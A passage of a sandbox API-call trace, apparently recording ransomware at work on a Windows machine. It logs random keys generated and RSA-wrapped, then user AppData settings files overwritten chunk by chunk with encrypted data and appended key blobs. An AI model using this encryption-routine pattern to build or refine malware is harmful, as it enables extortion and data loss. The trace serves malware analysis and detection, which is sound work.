(hObject=0xd9c) returned 1 [0158.640] WriteFile (in: hFile=0xd9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.641] CloseHandle (hObject=0xd9c) returned 1 [0158.642] WriteFile (in: hFile=0xd9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.643] CloseHandle (hObject=0xd9c) returned 1 [0158.644] WriteFile (in: hFile=0xd9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.645] CloseHandle (hObject=0xd9c) returned 1 [0158.646] WriteFile (in: hFile=0xd9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.647] CloseHandle (hObject=0xd9c) returned 1 [0158.653] WriteFile (in: hFile=0xda0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.654] CloseHandle (hObject=0xda0) returned 1 [0158.663] WriteFile (in: hFile=0xda8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.664] CloseHandle (hObject=0xda8) returned 1 [0158.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0158.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0158.665] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.665] ReadFile (in: hFile=0xdb0, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.666] SetFilePointer (in: hFile=0xdb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.666] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.666] SetFilePointer (in: hFile=0xdb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.666] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.667] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.668] CloseHandle (hObject=0xdb0) returned 1 [0158.675] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.675] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.675] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.676] ReadFile (in: hFile=0xdb0, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.683] SetFilePointer (in: hFile=0xdb0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.683] WriteFile (in: hFile=0xdb0, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.683] SetFilePointer (in: hFile=0xdb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.683] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.683] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.684] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.684] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.684] CloseHandle (hObject=0xdb0) returned 1 [0158.686] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0158.686] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.686] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.688] ReadFile (in: hFile=0xdb0, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.697] SetFilePointer (in: hFile=0xdb0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.697] WriteFile (in: hFile=0xdb0, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.697] SetFilePointer (in: hFile=0xdb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.697] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.697] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.698] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.698] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.698] CloseHandle (hObject=0xdb0) returned 1 [0158.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0158.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0158.700] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.700] ReadFile (in: hFile=0xdb0, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.700] SetFilePointer (in: hFile=0xdb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.700] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.701] SetFilePointer (in: hFile=0xdb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.701] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.701] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.701] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.702] WriteFile (in: hFile=0xdb0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.702] CloseHandle (hObject=0xdb0) returned 1 [0158.710] WriteFile (in: hFile=0xdbc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.711] CloseHandle (hObject=0xdbc) returned 1 [0158.712] WriteFile (in: hFile=0xdbc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.713] CloseHandle (hObject=0xdbc) returned 1 [0158.714] WriteFile (in: hFile=0xdbc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.715] CloseHandle (hObject=0xdbc) returned 1 [0158.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0158.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0158.715] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.728] ReadFile (in: hFile=0xdd0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.728] SetFilePointer (in: hFile=0xdd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.728] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.728] SetFilePointer (in: hFile=0xdd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.728] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.728] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.728] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.729] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.729] CloseHandle (hObject=0xdd0) returned 1 [0158.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0158.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.731] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.731] ReadFile (in: hFile=0xdd0, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.736] SetFilePointer (in: hFile=0xdd0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.736] WriteFile (in: hFile=0xdd0, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.736] SetFilePointer (in: hFile=0xdd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.736] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.736] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.737] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.737] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.737] CloseHandle (hObject=0xdd0) returned 1 [0158.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0158.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.739] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.739] ReadFile (in: hFile=0xdd0, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.745] SetFilePointer (in: hFile=0xdd0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.745] WriteFile (in: hFile=0xdd0, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.746] SetFilePointer (in: hFile=0xdd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.746] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.746] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.746] CloseHandle (hObject=0xdd0) returned 1 [0158.750] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0158.750] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.750] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.750] ReadFile (in: hFile=0xdd0, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.750] SetFilePointer (in: hFile=0xdd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.750] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.750] SetFilePointer (in: hFile=0xdd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.751] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.752] WriteFile (in: hFile=0xdd0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.752] CloseHandle (hObject=0xdd0) returned 1 [0158.754] WriteFile (in: hFile=0xddc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.755] CloseHandle (hObject=0xddc) returned 1 [0158.756] WriteFile (in: hFile=0xddc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.757] CloseHandle (hObject=0xddc) returned 1 [0158.758] WriteFile (in: hFile=0xddc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.759] CloseHandle (hObject=0xddc) returned 1 [0158.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0158.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.759] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.768] ReadFile (in: hFile=0xdf0, lpBuffer=0x5c3468, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.768] SetFilePointer (in: hFile=0xdf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.768] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.768] SetFilePointer (in: hFile=0xdf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.769] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.770] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.770] CloseHandle (hObject=0xdf0) returned 1 [0158.772] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0158.772] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.772] SetFileAttributesW 